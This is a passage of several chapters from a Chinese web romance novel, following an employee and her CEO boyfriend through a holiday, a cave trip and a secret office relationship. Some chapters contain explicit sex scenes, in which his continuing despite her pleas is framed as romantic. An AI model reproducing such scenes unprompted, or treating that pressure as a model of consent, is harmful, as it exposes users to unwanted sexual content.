等了几秒,她听到他的脚步声靠近,才小心翼翼从被子里冒出头。 他大概刚洗完澡,头发蓬松,黑发随意垂在额前,身上穿着跟她同色系的淡紫色睡袍,异常适配。 她心口莫名地缩了下,像被什么握紧,涨涨的,暖暖的。 “你怎么在门口?”她半张脸闷在被子里瞧他。 他坐到床边,俯身揉了揉她的发顶,语气颇有无奈,“想求晚安吻。” 任舒晚扑哧一下笑出声,“那你干嘛不敲门。” “怕你睡着了。”他垂着眼睑靠近她,身影遮住床头的暖光灯,“晚晚。” 她从被子里钻出胳膊,勾住他的脖颈,微微用力将他拉下来,故意道:“叫我干嘛?” 他不语,黑眸沉沉望着她,墨色翻涌,难以自持。他欺身上前,不由分说地吻住她多话的唇,唇瓣触碰的瞬间,他发出一声压抑的喘息,继而无比渴望的撬开她的齿间,不断深入亲吻。 她被他圈在怀里,呼吸间全是那股独特的木质香,不断侵袭身体,占据她的思绪,直至天地间只剩彼此。 他的睡袍在纠缠中脱落,她指尖循着他的侧腰下滑,勾住牢笼的边缘,轻扯,松开。 他闷哼一声,松开她的唇,抵着她的鼻尖喘息道:“晚晚?” 任舒晚面色潮红,呼吸凌乱,嘴上却不讨饶,“不准喊我。” 他捉住她作乱的手,哑声道:“别乱摸。” “为什么?”任舒晚无辜地眨眨眼,挣脱开束缚,顺着他立体的锁骨下滑,鼓起的胸肌,紧实的腰线,清晰分明的腹肌,而后停留在小腹边缘打转,摩挲撩拨。 他被刺激的眼睛赤红,呼吸越发急促,发出低沉的闷哼。 他没了往日的淡然自若,此刻眼底全是情愫,只要她肯开口,他就会像禁锢许久的野兽,发疯似的扑上来。 任舒晚盯着他的眼睛,不再逗他,唇瓣轻启,缓缓道:“陆言知,我不敢自己睡。” 下一秒,床头的灯忽地熄灭,他炙热的身体瞬间压了上来,两具身体紧密贴,严丝合缝。 他喘着粗气,引着她往丛林深入,触碰隐匿的滚烫。 可怖的触感让她慌张地抽出手,她后悔了,能不能倒退回上一分钟,她绝不说害怕自己睡的话了。 陆言知唇覆在她耳边,哑声道:“来不及了,晚晚。” 舌尖勾住她敏感的耳垂,吞进口中,舔舐轻咬,引来无限战栗。 …… 真丝的料子滑落散开,变成多余的物件。 干燥温热覆上盈雪,在缓慢揉搓下瞬间化为水,倾泻而下,亦如汪洋。 “嗯……”她极力克制,喘息还是从唇角溢出。 灼热游移,薄茧磨蹭,带来一阵阵强烈的快感。只是浅尝辄止便让她快要发疯,她捏着他的手臂,轻喊道:“等…等一下……” “晚晚,等不了了。” 他已经在极力忍耐,呼吸粗重,喉结上下滚动,他不想吓到她,不想弄疼她。 湿漉漉的水波缠绕成靡靡银丝,将断未断。 落下,滴滴答答…… 洇湿一片。 她无所适从的接纳着此刻的陌生与新奇,连绵潮热的吻从眼角到唇边,他的诱哄压抑缠绵,直至全部吞如腹中。 水意包裹,手指收紧蜷缩,缓慢离开后再度袭来,不知疲倦。 她连连求饶,不断唤着他的名字。 从未如此过,满溢到极致,一下比一下强烈。 她被迫承受,不断攀升至没有终点的顶峰,像摇摇欲坠的雪莲,随风摇曳。 不知多久,她意识回拢,艰难地睁开眼,人已经被抱到浴缸里。 她累得连手指都抬不起来了,懒懒靠在他怀里,声音沙哑道:“我…自己可以睡。” 头顶传来他食髓知味的轻笑,“晚晚,我不能自己睡。” 她想打他,手小幅度地抬了抬又落下,比抚摸还要轻柔,“讨厌鬼。” 他捉住她的手,凑在唇边轻吻着,“不能讨厌我,这才刚刚开始。” 刚刚…… 开始? 她思绪有些慢,还未察觉,腰间的手臂便收紧了些,他微微用力,便成了她在上他在下的光景。 温热包裹,打圈舔舐着。 她缩着身子往后躲,却被他强硬地控在怀中,无法逃脱。 水流荡漾,浪越来越大,拍打着堤岸。 夜如此长……—— 作者有话说:下一章4日晚上10点更,应该只有亲亲(点头) 或许下下一章会有(对手指) 第44章 第 44 章 浴室 第二天的溶洞探险被迫推迟。 其实在意料之中, 半夜陆言知抱着她换到隔壁客卧时仍不知餍足,她已经预料到今天的光景了。 任舒晚醒来时已经过了晌午,身边床铺空荡荡, 被子里少了陆言知的温度, 显然他已经起床很久了。 她幽幽翻个身, 忍不住倒吸了口气,双腿和腰又酸又痛, 只是微微抬起来都发软发颤, 她不满地蹙起眉,这人太不知节制了,打乱她的旅行计划。 “晚晚?” 卧室门被推开, 陆言知端着牛奶走了进来。 任舒晚看到他就来气,随手拿起床上的抱枕扔过去, 他反应极快,稳稳接住,抱在怀里,“乖,怎么醒了就生气。” “我不想看到你。” 话出口, 她才发觉声音有些嘶哑, 喉间还伴随着隐痛。 她更气了, 拿起另一个抱枕再次扔过去。 他早有预料,再次抬手接住, “不气, 我错了, 好不好?” 他柔声哄着,把牛奶递到她唇边,“喝一口润润嗓子再骂, 我绝不反驳,认真听训。” 任舒晚瞪着他抿了一口,温热的牛奶滑过干哑的嗓子,觉得舒服多了。 “都怨你,我的探险怎么办?” “等你休息好我们就去,明天、后天,或者大后天,你想去随时都可以。” 他将她微凉的手裹紧掌心,“不生气好不好?” 她哼了一声,一字一顿拒绝,“不!好!” 陆言知柔声哄着,“那你打我。” “不要。”她扣了下他的掌心泄愤,“你的肌肉又硬又厚,打了我还嫌手疼呢。” 他宠溺道:“那我们吃饭,我让阿姨准备了隅阳特色菜,一直温着呢,有你最爱的麻辣口味,还有海鲜。” 说到吃的任舒晚感觉到胃已经在抗议了,一夜的体力消耗加睡了一上午,已经饿得前胸贴后背了。 “那好吧。”她勉为其难道,“我可是看在美食的面子上,跟你没关系哦。” “是,我知道。”陆言知殷勤地为她穿上拖鞋,“我一定好好表现。” 洗漱完下楼,餐厅摆了一桌特色美食,还没进门就闻到诱人的香味。隅阳口味偏酸辣,正是任舒晚喜欢的,鲜嫩的鱼肉麻辣爽口,再配上香烤龙虾,外皮微酥,内里Q弹爽滑,入口甚是满足。 她吃了一小碗饭,喝了些菌菇汤,就已经撑得不行了,大概是饿了太久,反倒吃不了多少。 陆言知见她吃得不多,又下单了几份甜品,等她饿了再吃一些。 吃过午餐已经是傍晚,日头西垂,暖阳斜斜照进屋内,两人靠在沙发上看电影,任舒晚不知不觉间又困意上头,靠在陆言知怀里哈欠连天。 他关掉电视,抱着她回卧室补觉。 她沾枕头没一会儿便迷糊起来,恍惚间,他吻上她的额头,她哼唧着推开,“别闹,我好困。” “你还没有给我晚安吻。”陆言知柔声抱怨。 任舒晚含糊回应,“现在还…不是晚上。” 陆言知:“那午安吻。” 任舒晚伸手捂住他的嘴,闭着眼睛道:“已经过了中午了。” 他吻着她的掌心,呼吸温热,带着羽毛抚过的痒意,她缩回手,捧着他的脸狠狠亲了一下,“好了,可以睡觉了。” 他意犹未尽,但看她实在困得难受,便将人搂进怀里哄着,“睡吧。” — 旅行的第一天基本是在床上度过的,到了第二天,任舒晚的身体恢复不少,两人便在附近闲逛起来,像开盲盒似的,碰见钟意的小店就进去逛,饿了就随便找家馆子吃。 一天下来收获颇丰,买了好看的摆件和冰箱贴,给祝笙他们买了好多伴手礼。吃饭时认识一位非常热情的阿婆,送了他们一大袋干辣椒和自己种的小青菜。 除此之外,任舒晚发现了陆言知的小癖好,他热衷于购买各类情侣用品,只是情侣杯子就买了两种,普通的咖啡杯和冬天用的保温杯。 不仅如此,情侣手机壳、挂件,同款不同色的笔、便利贴,只要他觉得日常生活中能用到的,通通都要买成情侣款。 似乎势必要昭告世界般,给她贴上独属于他的标签。 任舒晚颇感无奈,但还是顺从的换上了情侣挂件,她不是扫兴的女朋友,至于回到公司后,她自然会哄着他摘掉。 晚上,任舒晚拒绝了他同床共枕的请求,直接把门反锁,说什么也不肯让步。 她是不可能再犯之前的错误了,最起码溶洞探险前不会的! 她可以预见,也可以想象到,如果今晚放他进门,明天必然又去不了溶洞了,她可不想心心念念的计划付之东流。 她铁了心,陆言知只能抱着被子回了隔壁客卧。 关上主灯,将床头的台灯调暗,任舒晚掖掖被角,心满意足的打算入睡,结果手机忽然震了一下,她不甚在意,以为是APP通知,结果片刻后又连响两声。 她蹙眉摸过来查看,是祝笙发来的照片和视频,视频中汤汤抱着仿真的发声小鸟舔舐啃咬着,玩得不亦乐乎。而照片则是拍了汤汤和“原住民”玉米的合照。 任舒晚看得心里暖暖的,祝笙家里养着猫,所以她出来前就把汤汤送去了她家,没想到汤汤还很适应,和玉米打成一片。 任舒晚:[好萌的两只,辛苦笙笙宝贝~] 祝笙发来斜眼笑的表情包,继而问:[居然这个时间还回复我!难不成你们分居两室!] 祝笙:[小哥哥不行呀,暖香软玉在怀居然还能自己睡着。] 任舒晚扑哧一下笑出声,[没有啦。] 祝笙:[没有?既然如此,展开说说!] 任舒晚顾左右而言他,[就挺顺利的,嗯,人也很好,生活习惯也很合拍,很细心。] 祝笙:[???然后呢?最重要的呢任小晚同学!] 任舒晚自然知道祝笙八卦什么,她思忖一瞬,打字回复:[很好,我很满意。] 能力是强的,就是有点……不知节制。 祝笙:[可以可以,能让你满意就行。] 两人又聊了一会儿,祝笙便催着她睡觉,她回了晚安的表情包,收起手机进入梦乡。 一夜相安无事,任舒晚美美的睡了一整晚,早起时精力充沛,满血复活。 她洗漱完下楼,陆言知已经做好了早餐,清淡的海鲜面,飘着几根昨天阿婆给的绿叶青菜,看上去食欲满满。 汤底清淡,配上劲道的面条,入口爽滑鲜美,再喝一口汤,简直鲜掉眉毛了。 “陆言知,我这个面食主义者要爱上你做的面条了。”任舒晚感叹完又喝了一口汤。 陆言知轻笑一声,“俗话说,抓住一个女人的心要先抓住她的胃。看来我已经成功了。” 任舒晚:“陆总都是小心机呢,怪不得我轻易就沦陷了。” 陆言知眯着眸子瞧她,“轻易吗?我可是使尽浑身解数了。” 说到这任舒晚还是有些心虚的,真相是轻易的,而陆言知视角里大概是艰难的。 她羞赧地将汤匙里的汤喂到他嘴边,“那辛苦陆总啦,以后我好好爱你哦。” 陆言知咽下,挑眉沉吟道:“也不用以后,晚上就可以。” 什么嘛! 白日宣淫! 对上他黏糊灼热的视线,她不觉耳朵微红,嗫嚅道:“晚上再说晚上的事。” 早餐后,溶洞探险的专业领队便上门来接他们。 他们提前准备了行李,这次探险全程5个小时,徒步、浮潜、浆板、溶洞滑索,活动非常丰富,因此需要准备换洗衣物、泳衣以及补充能量的零食。 一个半小时车程后到达景区,从景区划船进入溶洞入口。起初光线还比较亮,随着船只深入,洞内越来越暗,只能依靠头顶安全帽的灯光来照明,陆言知知道她怕黑,从后面环抱住她,给她足够的安全感。 好在等船划到景观区时,里面便有了微弱的灯光,这下他们才看清溶洞的真实面貌,洞顶垂下数不清的钟乳石,灯光照上去五彩斑斓,形成难得一见的奇特景观。 步行在溶洞内,领队介绍着不同的沉积景观,都是经过几万年间的生长才形成目前看到的石笋或钟乳石。 在原始的洞穴步道里行进许久,他们来到原生态的钙化池,池水散发着幽幽蓝色,宛如小说情节中的瑶池,清澈梦幻。 在领队帮助下,他们换上浮潜装备,洞内温度在十五摄氏度左右,他们贴身穿了一套秋衣秋裤,外层套了一件加绒的连体衣,最后才是潜水服。 陆言知有多次浮潜经验,任舒晚则是第一次尝试。 “会怕吗?”陆言知握着她的手询问。 任舒晚摇头,不但不怕,她对这些刺激的项目异常期待。 在领队的引导下进入洞池,水温很凉,身体的感触并不是很大,但脚和手明显能感觉到冰凉的温度。 潜水衣的浮力很大,整个人漂浮在水面上,任舒晚摆动着双手,将脸探进水中,眼前的景象十分震撼,水清澈见底,底部堆积着碳酸钙结晶,宛如凝固的牛奶,干净圣洁。 大约浮潜了半小时左右,任舒晚觉得身体到极限了,便示意陆言知上岸。 换下衣物,喝了热水取暖,他们继续朝洞内深入。又行进一个小时后,离开了地下溶洞,回归地面,绕着丛林深处的步道去滑索区。 所有项目都尝试过后,领队带着他们离开溶洞景区,任舒晚体力透支严重,疲惫不堪,回家的路上就睡着了。 之后的行程都十分轻松,每天睡到自然醒,随机找个地方游玩。 假期转瞬即逝,最后一天离开隅阳时任舒晚恋恋不舍,什么时候能退休环游世界啊—— 落地临城已是深夜,任舒晚没有去接汤汤,陆言知便带她回了他家,美名其曰抱着她才能睡着。 他醉翁之意不在酒,她也不想拒绝,毕竟他确实很让她满意。 进门,在玄关处换拖鞋,任舒晚才发现他不知什么时候把拖鞋都换成了情侣款,是她喜欢的可爱款式,穿在他身上甚是滑稽。 她还在走神,他忽的拦腰抱起她往楼上走,目的不言而喻。 “我还没卸妆洗澡呢。”任舒晚推着他,“等一下呀。” 陆言知吻了下她的脸颊,视线灼热,“我帮你。” 一件件落下…… 从卧室门口到浴室内,将轨迹清晰刻画。 浴室放着水,起初只是一层薄薄的雾气,随着时间推移,很快便浓了起来,弥漫在整个空间里,袅袅飘动,模糊视线。 清脆的水流声响在耳边,砸在地面上溅起连串的水花,热气攀上墙壁,留下蜿蜒的水痕—— 作者有话说:下一章5日晚11点更新,宝宝们一定准时来鸭[抱抱][抱抱] 第45章 第 45 章 过度失控 最后一丝屏障从手臂滑下, 细腻的盈雪显露无疑,他牢牢掌控揉搓,时轻时重, 在雪上留下凌乱的痕迹。 “晚晚, 我想……” 滚烫的呼吸擦过她的耳垂, 所到之处泛起酥麻的痒意。 想要和得到之间总要留有一段距离,在心理学中被称之为延迟满足。 她推开他的肩膀, 手臂懒懒搭在他颈侧, 缓缓道:“你说过要帮我卸妆的。” 陆言知低下头,双眼被翻涌的情欲所沾染,声音沙哑低沉, “那你…摸摸它。” 葱白纤细的指尖在小腹边缘游移,一寸一寸掠过, 而后微凉触碰灼热。 他在她耳边发出满足的喟叹,她轻笑着,继续撩拨挑逗。 手指收拢,蓬勃在掌中涨起,他深吸一口气, “哈…嗯……乖……” 她迷了心智, 绯红在脸颊晕染开, 她很难抵挡那因她而起的声音,心跳不断加速加速, 雪滢滢化开, 湿润缓缓流淌。 陆言知察觉到她的反应, 倾身凑到她耳边,“喜欢我这样?” 舌尖探出,轻轻舔过小巧的耳垂, 又故意吹起一丝凉气,酥麻的电流感从头皮蔓延至全身,连带双腿都开始发软轻颤。 她不甘示弱。 “嗯……再叫一声。” 掌中烧得灼烫,水光沾染指尖,她有意逗他,就要逼他缴械投降。 轻抚过,耳边立刻传来他压抑的呼吸。 “晚晚,因为你…才这样。” 他望向她的眼睛带着强势的占有欲,恨不能把她拆解入腹,吃干抹净。她被他盯得心底发颤,湿热的视线如有实质,所到之处引来无尽颤栗。 他笑着挑起她的下巴,猝不及防地吻了上来,温热的唇重重碾过后便转为猛烈粗暴的攻势。 他将她抵在洗手台上,掌心扣着她的脖颈,不给任何逃脱的机会,他要这朵解语花只能在他怀里绽放。 灵巧的舌尖撬开齿关,在她的口腔中肆意探索,舔过敏感的上颚,继而缠住湿润的舌大力吸吮。 她被他吻得气息紊乱,脑袋晕晕乎乎,宛如漂浮在云朵上那般无措。 陆言知直接将她抱到洗手台上,抵着她更加用力地吻起来。 后背触上镜面,裹挟着潮湿的水意,滚烫的身子仍在不断逼近,将她困于咫尺间,欲拒还迎间溢出缠绵的喘息。 在濒临窒息之际,他才依依不舍地放开,额头相抵,他唇边印着淡淡的粉色,是她口红留下的痕迹。 指腹温柔地蹭过,“陆总说话不算话。” 他轻笑了声,拿过不远处的卸妆巾,认真为她擦掉脸上的粉底,一遍两遍,直至露出白皙细腻的肌肤。 他又细心的沾湿洗脸巾,将卸妆液的残留擦掉。 “可以了。”他捏了捏她的脸颊,“晚晚,该满足我了。” …… 他把她抱进淋浴间,温热的水流冲刷掉身体上的汗意。 他将她的腿勾在臂弯中,强迫她踮起脚靠近他。 柔软的唇吻过她的眼角,他似乎独爱她的泪,只要看到就要吞如口中。 “慢…一点,慢一点……” 她仰头哭着,直至根本说不出话,只是凭借本能躲避逃离,再被他重重的抱进怀里。 “晚晚,不听话。” 他把手臂垫在她身后,而后将她深抵在墙上,“叫我什么?” 任舒晚觉得自己要疯了,他似乎发现了什么有趣的事情,不断有意无意地逗她,而她根本承受不了这么多。 “陆…陆言知……”她颤声喊他。 “错了。” 他悠悠开口,不给机会。 她哭喊着,连脚趾都蜷缩了起来。 “叫老公。” “嗯……老公,老公……”她求饶着,“可以了……” “乖。” 他额上青筋暴起,缓慢离开又重重袭来。 荡漾的水流来不及流淌,堆积在出口争先恐后,直至得到允许才肆意倾泻。 …… 躺到床上后,任舒晚才渐渐从晕眩中清醒过来,她往他怀里窝了窝,然后毫不客气地咬上他的手臂,力道极大,印上一排粉色的牙印。 他任由她泄愤,温柔揉着她发顶,“怎么又生气了?” “我都说了……”她顿了顿,脸有些热,“我都说可以了。” 陆言知无辜地瞧着她,“可是它告诉我还不够。” 它…… 不言而喻。 任舒晚又咬了他一口,怎么在哪个方面都不是他的对手,说也说不过,做也做不过,次次都败下阵来! 她脸鼓得像包子,陆言知捏了捏,“晚晚,搬过来住好不好?” 任舒晚微愣,搬过来住? 搬过来住岂不是遂了他的意,天天都要! 她防备地瞪他一眼,“不要,我要自己住。” “这边离公司近,早上可以多睡一会儿。”陆言知柔声诱哄着,“而且我可以给你做饭,你想吃什么都可以做。” 条件很诱人诶,任舒晚思索片刻,果断拒绝,“那也不要。” 见她口气决绝,陆言知退而求其次,“那每周来住五天?”? 跟搬过来有什么区别吗? 任舒晚:“不行,最多一天。” “四天好不好?” 任舒晚捏着他的指尖,坚定摇头,“不好。” “三天,最少三天,不能再少了。” 他的语气甚是可怜。 任舒晚算是发现了,什么高冷寡言,都是骗人的,现在粘人到不行,动不动就撒娇,她根本抵抗不住好吗? 算了。 “好吧,三天就三天。”她退了一步,“但有个前提。” 陆言知瞬间精神起来,“好,你说。” 任舒晚故作沉思一会,一字一顿道:“你以后不准在公司电梯里对!我!动!手!动!脚!” 陆言知蹙眉,立刻拒绝,“不可以,我只是牵牵你的手,我很想你。” 任舒晚轻飘飘地看向他,故作惋惜道:“那我还是不来住了吧,我的出租屋很温馨呢。” “能不能换一个?”陆言知可怜巴巴地摸向她侧腰的敏感地带,粗粝的薄茧磨蹭着,带来酥麻的痒意。 她瞬间缩起脖子,“不能,你再讨价还价我一天都不来了!” “好吧。”他委屈的应下。 他的怀抱温暖可靠,她贪恋的窝在里面,毛茸茸的脑袋不断蹭着,没一会儿就蹭得他呼吸急促起来,他掰开她的脑袋,哑声道:“不困?再消耗一下?” “才不要。”她哼唧着又抱住他的腰,“晚安陆言知。” 陆言知轻笑一声,“你刚刚可不是这么叫的。” 任舒晚闭着眼睛装傻,“我不知道你在说什么。” “嗯?”他指尖游移到她侧腰的痒痒肉上,隔着真丝睡衣揉搓着,“不知道?” “哎呀!”她痒得一身鸡皮疙瘩,像个兔子似的在他怀里动个不停,“不知道不知道不知道!” “那我们回忆一下?” 他视线灼热,说话间已钻入睡衣下摆,大手拢住了她,变换形状捏着,很快捏硬了,她力气不敌,几番折腾后只好遂了他的意。 等再度洗完躺在床上时,任舒晚已经彻底没了力气,软软地躺在他怀里,控诉道:“你纵欲!” 其实在这方面,两人十分默契,她很享受他的服侍,无论用什么方式,他都能让她非常舒服。但是!她真的受不住他的高精力,像没有疲倦一样,只要看到她就要贴近求吻求爱。 而陆言知也很难反驳她的控诉,因为目前他确实很纵欲。在没有遇到她之前,他一直认为自己是性冷淡,对这件事也是意兴阑珊,偶尔会自己解决,但更多还是禁欲状态。 遇到她,食髓知味后,他像变了个人,任何时候都想要跟她亲密,哪怕只是简单的牵手,他都会很满足。 或许他就是栽在她手上了。 当然,他甘之如饴。 — 假期过后,上班第一天,任舒晚水灵灵的起晚了,她压根没听到闹钟响,是陆言知喊她给她换衣服,她才混混沌沌醒了过来,结果一看时间,已经八点半了! 她立刻从床上跳起来,手忙脚乱地洗漱出门。 陆言知提前做了早餐,她拿着在路上吃,眼看到了地铁站口,她还剩一半三明治没吃完。 陆言知道:“不要下车了,我把车停远一点,你走去坐电梯?” 任舒晚看了眼时间,真要来不及了,便同意了。 好在马上到上班时间了,电梯里没什么人,没有人注意到她从哪出现的。 卡着点打了卡,她把最后一口三明治咽下去,匆匆进了办公室。 她坐到工位上,把手机和包往抽屉里一扔,余光却忽然扫到什么,吓得她立刻坐直身体藏起手机。 很坏了!她忘记把情侣挂件摘下来了! 她背着身子摆弄半天才拆下来,作贼心虚地塞进包里,还是最里层带拉链的兜里,确保万无一失,她才松了口气。 一上午忙得脚不沾地,临近中午得以休息,她摸鱼看手机,却看到祝笙发来的爆炸消息。 [!!!陆总恋爱了!不知道哪家女生又倒霉了!] [你知道我们怎么发现的吗??小庄最先察觉的,他说最近陆总都不让他去接他上班,也不让他开车去洗车,所有事情都亲力亲为,他察觉有点不对劲,直到今天,他看到陆总手机上挂了一个情侣挂件,是网上最近很火的那款。] [图片] 任舒晚点开图片,看到两个摆在一起的小狗挂件,一白一黑,带着同款帽子,笑容憨态可掬。 她下意识瞄了一眼抽屉,好巧……那款白色的在她这里。 她挠头打字,[你们观察力好强。] 祝笙回复迅速:[是吧!吃瓜,我们专业的。只是可怜那个小姐姐了,不知道所托非人。] 说起这个,任舒晚觉得挺对不起陆言知的,他在公司的名声都让她败坏了,她得想办法扭转一下局势—— 作者有话说:[垂耳兔头]进入收尾阶段啦! 第46章 第 46 章 恋情公开 任舒晚措辞良久也没想好怎么给陆言知洗白, 又拿不出实质性证据,难道全凭一张嘴去解释吗? 而且如果她解释多了,以祝笙的敏感程度和对她的了解, 铁定会发现些什么, 想到这些, 她遂作罢,转身去联系陆言知。 任舒晚:[亲爱的陆总, 有一个坏消息和一个更坏消息, 你想先听哪个坏消息?] 隔了片刻陆言知才回复,[亲爱的晚晚,怎么都是坏消息?] 任舒晚被他的回复逗笑, 两人在一起后陆言知的性格大变,不似之前寡言少语, 反倒多了点呆萌劲儿,任舒晚爱得不行,他越这样她越觉得他可爱。 发了个摸汤汤脑袋的表情包,[因为事情已经很坏了!!] 陆言知:[那就面对吧,把坏消息和更坏的消息都交给我, 我会顺利解决, 变成好消息和更好的消息。] 他总是情绪稳定, 像没有波动的机器人,遇到什么事都可以坦然面对解决。 任舒晚把大家发现他恋爱的事情和他在员工眼中是渣男的形象通通告诉了他。 等了片刻陆言知回复, [就这点小事吗, 亲爱的晚晚, 这不算坏消息和更坏的消息。] 任舒晚还没回复,他就发来一长串的解决方案。 [你不用担心,我会处理这些事情。我不希望我们恋爱给你的工作造成困扰, 公司日常运营已经很成熟,等剑指江湖上线后,我会退到幕后只做决策,提一位副总来承担部分我的责任,而且我答应过我爸,这边稳定后要去公司帮他。至于渣男形象,我不在意,但你如果介意这件事情,我会尽快解决。] 任舒晚看得鼻头一酸,她从来没跟陆言知提过办公室恋情这件事,但他似乎早就想到了,且一步一步规划的清晰,把她的事业和感受都放在了第一位。 任舒晚:[TVT陆言知,你为什么这么好,呜呜呜我好爱你(鼻涕一把泪一把中)] 陆言知发来一条语音,她偷摸调低音量放在耳边听,开始是他开怀的朗笑,紧接着便是打得小算盘,“那能不能今晚再陪我一晚?” 原来醉翁之意不在酒啊,可偏偏对她又很受用。 任舒晚:[表现不错,赏你再陪本小姐一晚。] 陆言知:[好的,大小姐。] 陆言知恋爱的消息风风火火的在公司传了一整天,成为收假后第一天的调味剂,把大家沮丧的情绪消散。 晚上下班时任舒晚没跟陆言知一起走,她要先去祝笙家接汤汤。 祝笙开了车,两人约在车库碰面,任舒晚到祝笙车旁时她还没来,估摸着被什么事绊住了,反正也不着急,任舒晚便百无聊赖的在车边等起来。 看了会儿手机,她隐约闻到一股臭臭的味道,有点像坏掉的菜,酸溜溜臭烘烘的。 她以为是不远处下水道散发的味道,于是挪到车的另一面继续等。可换了位置,那股臭味还阴魂不散的跟着她,尤其是闻到后会觉得越来越清晰。 她好奇转悠着,低头的瞬间忽然闻到那股味道更浓郁了,隐约好像从她身上散发出来的。 她化身小猫,开始凑在自己身上闻来闻去,最终目光聚焦在了她的包上,那股臭味的源头好像就在她包里。 她百思不得其解,将包扔在车引擎盖上,借着昏暗的光线开始翻腾,翻到某些位置时,味道就浓一些,再一翻又淡了些,可是无论如何也没找到究竟是什么散发出来的。 该不会是她身上的味道吧?! 她被自己的想法吓到了,连忙退后离开车子,也没拿包,走了很远再仔细去闻衣服,清新的洗衣液气味,压根闻不到任何臭味。她还专门挪到下水口的位置去闻了闻,也没有那股味道。 破案了,就是她的包! 找到源头,她便铁了心开始翻包。 包不算大,里面东西也不多,她把所有物件都倒在了引擎盖上,包括那只白色小狗的挂件,直至里面空空如也。 她趴在包上闻了闻,明明已经空了,也没什么产生味道的东西,怎么还是一股臭味,她也没带这只包去哪啊,怎么会染上这种味道? 一筹莫展之际,她看到包外面的隔层还没掏,于是拉开拉链,映入眼帘的是早上那块包三明治的隔油纸和塑料袋,她早上打卡着急,吃完时周围也没垃圾桶,她就随手塞到了包里,结果现在天气热,闷在里面一天就臭了。 她连忙用纸里三层外三层的包起来,阻止臭味的发散,等出了车库找个垃圾桶扔掉。 就在这时,急促的脚步声由远及近传来,下一秒祝笙出现在她身边,“来晚了来晚了,又被傻x部长拖去加了会儿班。” 祝笙看向引擎盖散落的一堆东西,惊诧道:“你在干嘛?找什么?丢东西了?” 话音落,她视线被静静放着的白色小狗所吸引,转瞬间,她发出尖锐的惊叫,“我k!!!任小晚!!” 任舒晚刚才只顾着找臭味来源了,压根忘了挂件的事儿了,结果好巧不巧让祝笙撞个正着,她难以面对地闭上眼睛,脑子里闪过无数个可以拿来应对的借口。 祝笙拿起挂件贴在脸上认真观摩着,片刻后,她问出恐怖的怀疑,“你……该不会是陆总的女朋友吧????” 任舒晚捏着纸团,心里咯噔一下,手心瞬间冒出一层冷汗,她努力稳住心绪,故作开玩笑地回应,“你看我像吗,我还没进修完霸总白月光专业知识手册呢,你且等着吧。” “我看你挺像的。”祝笙一双锐利的眼睛盯着她,任舒晚被看得心里发毛,大气不敢喘。 “主要你这挂件就是陆总那一半啊!”祝笙言辞犀利,“你老实交代,你那暧昧对象不会真是陆总吧?” “你想多了,陆总怎么可能跟我在一起。”任舒晚违心回答着,手上连忙将包里东西塞进去,以此来掩盖撒谎时的心虚,“这挂件最近在网上好火的,暧昧对象送我,我就塞包里了。” 祝笙狐疑地打量着她,“你真没骗我吧?” “哎呀,你怎么变得那么婆婆妈妈了。”任舒晚顾左右而言他,推着她往车门口走,“你倒是开锁呀,我都站着等你半天了,脚都麻了。” 祝笙盯了她一瞬,没再多言,倒手将挂件塞进了她包里,开锁,“行行行,我的错,不对,是傻x部长的错,都怪她,加了十分钟的班,连加班费都拿不到!气死我了,就会奴隶我,我早晚升职顶了她,让她给我当下属。” 任舒晚看她注意力被转移,松了口气,虽然勉强糊弄过去,但她仍隐约觉得不踏实,却一时间想不通原因。不过她下定决心,以后一定得打起十二万分精神,注意注意再注意!! — 转眼盛夏,小暑过后正式步入五黄六月,天气炎热,暑气蒸灼。 任舒晚连着两天趁午休时去新房,进度在她掌控之中,顺利在盛夏前完成了硬装,最近在忙软装,天天都有家具进场,原是想请几天年休,奈何项目实在忙,她只能被迫两头跑。 除此之外,她的出租屋也快到期了,之前她打算跟房东阿姨商量一下再续几个月,续到年后,但最近谈了一次,阿姨不想这么租,她也不愿意多付几个月的租金,于是在陆言知的邀请下,她决定去他家借住一段时间。 说是借住,其实她目前有一大半时间在他那边,他不知道怎么哄得汤汤,说什么也不肯跟她回家了,就爱跟煤球凑在一起,说来也怪,谁能想到一只兔跟一只猫能相处的那么和谐。 她偶尔看到它们窝在一起互相舔毛,总会想起元宝,她想过是不是元宝变成汤汤来找她了,她很想问问,但元宝再也没来过她梦里。 时间久了,她也就不再纠结这些,汤汤也好,元宝也好,无论是谁,她坚信是命运知道她的孤单,才派汤汤来陪她。 搬家那天,陆言知还在外地出差,但他委托了安逸和江一若,等搬家公司一众年轻力壮的大哥们来干活。 其实有些兴师动众了,因为她压根没多少东西,都是些随身零碎的物件,家具和大件都是房东的。 搬家公司浩浩荡荡的搬着几个轻巧的纸箱子上了货车,任舒晚则坐上了安逸的车。 到了陆言知那边,江一若帮着她把东西归置好,忙忙碌碌便到了傍晚。 陆言知下飞机时天已经黑透,四人约好一起庆祝,思来想去,安逸提出去隔壁城市,他在那边有套海景别墅,这季节去看海、烧烤正合适,明天还又是周末,爽玩一天再回来,计划完美。 于是三人开车去机场接了陆言知,直奔隔壁市。 全程不过一个半小时的车程,到达安逸的别墅时管家和阿姨早把食材准备好了,看到他们来,打了个招呼就瞬间散去。 安逸和江一若去厨房洗菜调料,陆言知和任舒晚则负责架炉子烧火。 偌大的别墅灯火通明,花园里夜风习习,风中带着盐粒子的咸味,莫名的让她爱上此刻。 任舒晚不会烧火,自然陆言知也不会让她做这些,于是她站在花园里看景色,这处房子地势高,视野极好,能看到海面翻腾的浪花,轻轻拍打着岸边,浪漫、宁静。 海似乎很奇特,不同心境下去观赏它会带来不同的感受,人孤独时看到的海面是寂寥是神秘,而此刻与爱人在一起却觉得无比浪漫美丽。 她回头,陆言知正在专注的点燃火焰,红色的光影映在他脸上,闪烁着点点星光,他似乎察觉到她的视线,抬眸笑着看她,继而招了招手,“晚晚,来陪我。” 她思绪敛起,果断朝他走去。 此刻,眼下,只剩幸福。 她坐到他身边,炉子里的木炭已经烧起暗红的火光,他朝她伸出手,指腹黑乎乎的,“给晚晚画成煤球怎么样?” 任舒晚吓得立刻推他,“不要,陆言知讨厌鬼。” 他故意逗她,她越抗拒他越朝她靠近,干净的手果断搂住她的腰,将人带进怀里钳制住,黑黢黢的手靠近假装描摹着。 任舒晚眼见躲不了,认命地闭上眼睛,惊叫道:“一会儿我给你画成大花脸。” 陆言知被她可爱的模样逗笑,收起手将她揽在怀中,笑道:“不逗你了,我可怕你记仇。” 任舒晚哼道:“我从来不记仇好吧,我都是宰相肚里能撑船。” 两人笑着依偎在一起,抬眸是皎洁的月光,低头是燃烧的火光,所有烦恼和疲惫在这一瞬间消失殆尽。 